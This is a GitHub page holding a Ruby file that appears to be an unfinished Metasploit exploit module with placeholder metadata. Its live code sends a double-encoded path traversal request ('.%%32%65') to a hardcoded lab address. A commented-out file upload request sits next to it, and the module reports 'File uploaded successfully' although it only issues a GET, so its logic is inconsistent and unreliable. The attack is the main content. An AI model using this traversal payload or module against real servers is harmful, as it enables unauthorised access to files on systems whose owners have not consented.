-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path1.rb
69 lines (59 loc) · 2.12 KB
/
1.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'My Exploit',
'Description' => 'Exploit description',
'Author' => 'Author name',
'License' => MSF_LICENSE,
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => {
'RPORT' => 80,
},
'Platform' => 'win',
'Targets' => [
['Automatic', {}],
],
'DisclosureDate' => '2021-09-01'
))
register_options([
OptString.new('TARGETURI', [true, 'The URI path of the file upload script', '/fileupload.php'])
# OptString.new('FILEPATH', [true, 'The path to the file to upload', '/path/to/file']),
# OptString.new('FILENAME', [true, 'The name to give the uploaded file', 'uploaded_file.txt']),
])
end
def exploit
# print_status("Sending file #{datastore['FILEPATH']} to #{rhost}:#{rport}#{datastore['TARGETURI']}")
begin
# res = send_request_cgi({
# 'method' => 'POST',
# 'uri' => normalize_uri(datastore['TARGETURI']),
# 'ctype' => 'multipart/form-data;',
# 'vars_post' => {
# 'file' => Rex::MIME::Message.new.add_part(
# File.read('/path/to/file'),
# 'application/octet-stream',
# nil,
# 'form-data; name="file"; filename="file.txt"'
# ),
# }
# })
res = send_request_cgi({
'method' => 'GET',
'uri' => "http://192.168.137.1/cgi-bin/.%%32%65/htdocs/hacklab/websekolah/upload/test.txt"
})
if res.nil?
print_error('No response from the server')
return
end
if res.code != 200
print_error("Unexpected HTTP response code: #{res.code}")
return
end
print_good("File uploaded successfully")
rescue ::Rex::ConnectionError => e
print_error("Error connecting to the server: #{e.message}")
end
end
end